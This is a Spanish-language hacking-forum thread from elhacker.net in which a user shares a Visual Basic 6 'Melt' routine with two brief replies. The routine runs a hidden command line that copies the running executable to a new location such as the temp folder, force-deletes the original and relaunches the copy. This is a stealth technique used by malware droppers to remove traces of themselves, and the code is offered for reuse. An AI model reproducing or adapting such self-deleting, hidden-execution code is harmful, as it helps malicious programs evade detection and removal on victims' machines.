Foro de elhacker.net

Programación => Programación Visual Basic => Mensaje iniciado por: Karcrack en 27 Enero 2009, 22:19 pm



Título: [SRC][SNIPPET] Alternativa de Melt (WinExec)
Publicado por: Karcrack en 27 Enero 2009, 22:19 pm
Buenas, hace tiempo que se me ocurrio este code al ver el api WinExec... pero nunca lo desarrolle... y bueno, me dio hoy por hacerlo...

Simplente es una alternativa a crear un Bat en el disco, lo hace todo 'on the fly' :laugh:

Código
  1. Option Explicit
  2. Private Declare Function WinExec Lib "kernel32.dll" (ByVal lpCmdLine As String, ByVal nCmdShow As Long) As Long
  3. Private Declare Function GetModuleFileName Lib "kernel32.dll" Alias "GetModuleFileNameA" (ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long
  4.  
  5. '---------------------------------------------------------------------------------------
  6. ' Procedimiento : AlterMelt
  7. ' Autor         : Karcrack
  8. ' Fecha         : 27/01/2009
  9. ' Parametro(s)  :
  10. ' sNewPath [in]       -> La nueva ruta para el fichero al que se le aplicara el Melt
  11. ' sPath [in,optional] -> La ruta del fichero al que se le aplicara el Melt.
  12. '                   Si es NULL se aplicara a la aplicacion propia (=
  13. ' dMs [in,optional]   -> Es el tiempo en segundos de espera entre la copia
  14. '                    y la eliminacion del fichero. Por defecto 1 seg.
  15. '
  16. ' Return        : Devuelve True si la ejecucion del comando ha sido satisfactoria.
  17. '---------------------------------------------------------------------------------------
  18.  
  19. Public Function AlterMelt(ByVal sNewPath As String, Optional ByVal sPath As String, Optional ByVal dSec As Double = 2) As Boolean
  20.    Dim sCmd    As String
  21.  
  22.    If (sPath = vbNullString) Then
  23.        If (App.LogMode = 0) Then Exit Function 'No queremos aplicar Melt a nuestro VS xD
  24.        sPath = Space$(260) 'MAX_PATH = 260
  25.        sPath = Left$(sPath, GetModuleFileName(0&, sPath, Len(sPath)))
  26.    End If
  27.  
  28.    sCmd = "CMD /D /C " & "copy " & Chr$(34) & sPath & Chr$(34) & " " & Chr$(34) & sNewPath & Chr$(34) & " & " & _
  29.            IIf((dSec > 0), "ping 0.0.0.0 -n " & dSec & " & ", vbNullString) & _
  30.            "del /F /Q " & Chr$(34) & sPath & Chr$(34) & " & " & _
  31.            Chr$(34) & sNewPath & Chr$(34) & " & " & _
  32.            "exit"
  33.    AlterMelt = (WinExec(sCmd, 0&) > 31) 'SW_HIDE As Long = 0
  34. End Function

Creo que todo el mundo sabe lo que es el Melt no? :huh: :xD

Esta seria la forma de usarlo:
Código
  1. Call AlterMelt(Environ$("TMP") & App.EXEName & ".exe", vbNullString, 5)
  2. End

Saludos, espero que os sea de utilidad ;D


Título: Re: [SRC][SNIPPET] Alternativa de Melt (WinExec)
Publicado por: ‭‭‭‭jackl007 en 28 Enero 2009, 18:38 pm
no sabia de la existencia de esa api...
esta curiosoo!
 yo usaba el tipo bat para realizar operaciones externas y confundir al jefe.

Saludos!


Título: Re: [SRC][SNIPPET] Alternativa de Melt (WinExec)
Publicado por: Dessa en 28 Enero 2009, 19:23 pm
WinExec, CmdLine, CmdShow, suena interesante

gracias por el aporte, saludos